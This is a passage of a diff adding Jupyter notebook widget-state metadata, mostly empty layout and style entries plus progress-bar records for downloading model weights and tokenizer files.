+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ba3cf4ae2c4e45e58abb82d2491fb7ba": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bcd48b3b056c4c14b6034ef32fdde5d5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bd3c80a835d242d19fe187d65e737d6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bd5c5827932b4dabbac38adb33544e48": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_455bc344fe60421da1ac931657cbd162",
+            "max": 1059962,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_88491458b25e4ae5a66afeaae7f76c12",
+            "value": 1059962
+          }
+        },
+        "be56ad8a63884a33a22bfb3b39da1cc0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c44f196498724b1b80b25bda832dc310",
+            "placeholder": "​",
+            "style": "IPY_MODEL_069b424c2d3846b8ba69a455dbda1f88",
+            "value": "100%"
+          }
+        },
+        "be72ef0e4b8840608fd9160a6b43075d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bf14652b43264c2b884e2d19786d6f5e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bf52593db97e4b5f876d22d5c27e8c0d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bfd0a68276654b4997b802bc6d47f684": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c0771d4d9b7242c4a1b6ea8954e9e96e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c184aabb31504cbd8361a9ab06899438": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9ee7a0fe9750457abaf427983e5866fe",
+            "max": 617,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_103ffa0973364618b4ce1d5528078062",
+            "value": 617
+          }
+        },
+        "c25de7e0bae0469d918bd6d3ea39211b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_35bd707e26044bd1a361c2fc2c11ea29",
+            "max": 342,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ea8e9b50f98c43b58d7faccbfd6821cb",
+            "value": 342
+          }
+        },
+        "c30088b9866c429fa513397b03d2e3c8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c318de49fe3a455992738cf20f7099ad": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5494938bff7d4c6da3d82f1034404362",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f05ad5aa13a040609336f0d6b2580be2",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "c34ca1ea918344188c3241400aa3e775": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "c389029d6e9445febf2f623921140abe": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c39f69cd4e8b4bca8e95bda3b06a74f1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c3dc31d7d2be42be88fe03fa33e5f20d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7427e45c55994a6fa304d6d58ffeb1fb",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2df0162802aa488dbddb9a7376954865",
+            "value": " 20/20 [00:04&lt;00:00,  4.76it/s]"
+          }
+        },
+        "c3e33bee752849c692d00ceabd561feb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "c420c12b2a76457c9ec7bb9db8eac9b3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c44f196498724b1b80b25bda832dc310": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c45aec98de234d3982ff83924dce8d7a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c48ca8b557154fac885edaebc4879321": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fd444832eb3b4399946317b54b495d52",
+            "placeholder": "​",
+            "style": "IPY_MODEL_629f9b2f0b79420ba0baeb5961df73da",
+            "value": " 743/743 [00:00&lt;00:00, 17.1kB/s]"
+          }
+        },
+        "c64f35616d8e4b4bb129bc7aaa4ae889": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c6965bc561db4c519b751c5b7bff96a8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ba3cf4ae2c4e45e58abb82d2491fb7ba",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c64f35616d8e4b4bb129bc7aaa4ae889",
+            "value": "100%"
+          }
+        },
+        "c7b630dc7b8448219ca505398c12afef": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c7eafdcd51dc419c99b3248093fbfbff": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dd9945400a2c413589af32550427f92d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8328f2c010f4426fbfef22482701f516",
+            "value": " 472/472 [00:00&lt;00:00, 2.79kB/s]"
+          }
+        },
+        "c81fe2532ac14ae6a5411a866f8e42ac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c85b3e0dd20f414181d768cac5c9ab4e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dd81ef8c35384eadb1572400c775f789",
+            "placeholder": "​",
+            "style": "IPY_MODEL_de80e8cbbd25433c88267a1f997772e7",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "c87c97a9ed4b493c8d6df7d11b1684ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c8ce8fd6e04e416381d892fbf75a0b75": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c8da6be1960c4f89a18d49205cbaa0df": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c905c8d69bcb404aa39ca499c96549e3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e8cbb2d5adae4b439639631ea833be72",
+            "placeholder": "​",
+            "style": "IPY_MODEL_06f53eb5d18941d8a947bcb21676e9c7",
+            "value": "Downloading (…)tokenizer/vocab.json: 100%"
+          }
+        },
+        "c9311122d93c495faa2a8e0f4b8f7662": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
